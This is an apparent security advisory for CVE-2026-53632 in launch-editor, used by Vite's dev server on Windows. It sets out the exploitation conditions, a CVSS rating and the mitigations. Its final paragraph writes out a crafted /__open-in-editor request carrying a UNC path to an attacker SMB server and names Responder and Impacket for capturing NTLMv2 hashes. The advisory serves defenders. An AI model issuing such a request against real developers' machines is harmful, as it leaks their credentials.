launch-editor CVE-2026-53632

All of the following conditions must be simultaneously true for exploitation to succeed. First, the victim must be running Windows with NTLM authentication enabled - NTLM is on by default in all current Windows versions, but Microsoft recommends disabling it. Second, a development server using launch-editor middleware, most commonly Vite's dev server, must be actively running on the victim's machine with its /__open-in-editor HTTP endpoint reachable. Third, the attacker must be able to send a request to that endpoint - the primary vector is a SSRF-style cross-origin fetch issued by a malicious webpage the developer visits in their browser, which reaches the locally-bound dev server; alternatively, the attacker must know the URL of a dev server exposed beyond localhost. Fourth, the attacker must control an SMB server at a network-reachable IP address that can be injected as the UNC path host value in the query parameter. The attack does not require any authentication to the victim's dev server (PR:N in CVSS terms), but does require user interaction in the form of the victim visiting the attacker's webpage (UI:R). Exploitation is strictly limited to Windows systems; macOS and Linux are unaffected. The Vite dev server defaults to localhost binding, meaning the cross-origin browser-fetch vector is the realistic trigger, and internet-exposed dev servers are required only for direct external exploitation.

Real-world risk is primarily constrained to developer workstations running Windows with active local development servers, making this a targeted threat against software developers rather than a mass-exploitation vector. No formal CVSS score was assigned by NVD at time of analysis; the independently assessed vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N reflects multiple coincident conditions required (Windows OS, NTLM enabled, dev server actively running, attacker knowledge of the middleware URL, and victim interaction with a malicious link). The confidentiality impact is rated High because NTLMv2 hashes, once cracked offline using tools such as Hashcat, yield plaintext credentials that could provide access to internal developer systems, VPNs, code repositories, and CI/CD infrastructure - a serious supply-chain risk. EPSS data is unavailable for this CVE. KEV status is unconfirmed. However, a functional PoC using widely available tools exists and is documented in the advisory, materially lowering the exploitation barrier to any attacker capable of social-engineering a developer. The 'RCE' tag present in the source metadata is a mislabeling - the actual impact is credential disclosure, not remote code execution, and security teams should not treat this as a code-execution risk based on that tag. The primary mitigating factor is that the attack requires the victim to be actively running a dev server and to visit an attacker-controlled page, making opportunistic mass exploitation unlikely.

A developer running a Vite dev server on Windows receives a phishing link or visits a malicious third-party site; the attacker's page issues a JavaScript fetch to http://localhost:5173/__open-in-editor?file=%5c%5c192.168.1.100%5cshare%5ctest.txt, pointing the UNC path host parameter to the attacker's SMB server. The Vite dev server processes the request and launch-editor attempts to access the UNC path, causing Windows to transparently initiate NTLM authentication; the attacker's Responder or Impacket smbserver.py instance captures the developer's NTLMv2 hash, which is then cracked offline to recover the plaintext password. A functional PoC demonstrating the complete attack chain is documented in the GHSA advisory, making this trivially reproducible with commonly available tools.